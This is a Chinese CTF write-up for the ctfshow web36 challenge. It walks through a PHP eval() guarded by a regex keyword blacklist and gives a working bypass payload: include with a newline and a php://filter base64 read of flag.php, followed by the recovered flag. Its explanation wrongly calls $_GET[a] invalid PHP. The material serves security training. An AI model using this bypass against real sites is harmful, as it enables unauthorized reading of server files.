【CTFWP】ctfshow-web36

发布于:2024-07-27 ⋅ 阅读:(140) ⋅ 点赞:(0)


题目介绍:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

题目分析:

  1. 关闭错误报告

    error_reporting(0);
    
    • 这行代码关闭了所有的错误报告,这可能会隐藏一些重要的错误信息,使得调试和发现问题变得更加困难。
  2. 检查 GET 参数

    if(isset($_GET['c'])){
    
    • 这行代码检查是否接收到了名为 c 的 GET 参数。
  3. 获取 GET 参数

    $c = $_GET['c'];
    
    • 这行代码获取 c 参数的值并将其存储在变量 $c 中。
  4. 正则表达式过滤

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
    
    • 这行代码使用正则表达式来过滤 $c 中的值,防止执行一些可能危险的命令或代码。然而,这个正则表达式存在一些问题:
      • 它尝试禁止一些关键词,但可能不全面或不够严格。
      • 它禁止了一些特殊字符和数字,但可能还有其他字符需要禁止。
  5. 执行代码

    eval($c);
    
    • 如果正则表达式检查没有匹配到禁止的内容,eval 函数将执行 $c 中的代码。这是一个非常危险的操作,因为它可以执行任何有效的 PHP 代码,包括恶意代码。
  6. 默认行为

    }else{
        highlight_file(__FILE__);
    }
    
    • 如果没有接收到 c 参数,脚本会使用 highlight_file 函数高亮显示当前文件的内容。

payload:

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

payload解释:

  1. ?c=include

    • 这表明 URL 正在尝试设置一个名为 c 的参数,其值为 include
  2. %0a

    • 这是 ASCII 字符的换行符的 URL 编码形式。在某些情况下,如果 PHP 配置不当,换行符可以用来分隔多个命令。
  3. $_GET[a]

    • 这表明 URL 试图使用变量 a 的值,但这里直接使用 $_GET[a] 并不是有效的 PHP 代码,因为它没有被正确地引用或解析。
  4. ?&a=php://filter/convert.base64-encode/resource=flag.php

    • 这里设置了另一个参数 a,其值为 php://filter/convert.base64-encode/resource=flag.php
    • php://filter 是一种流包装器,允许数据在读取时通过一个或多个过滤器进行处理。
    • convert.base64-encode 是一个过滤器,用于将数据编码为 base64。
    • resource=flag.php 表示尝试读取 flag.php 文件的内容,并将其转换为 base64 编码。

flag

在这里插入图片描述

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDM6Mzc6MTENCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7Y2M5Y2RiMWUtNDY3Mi00ZjBiLWJjNTUtYjQwYzczZDY0NDhlfSI7

base64解码得到:

在这里插入图片描述

flag=“ctfshow{cc9cdb1e-4672-4f0b-bc55-b40c73d6448e}”



网站公告

今日签到

点亮在社区的每一天
去签到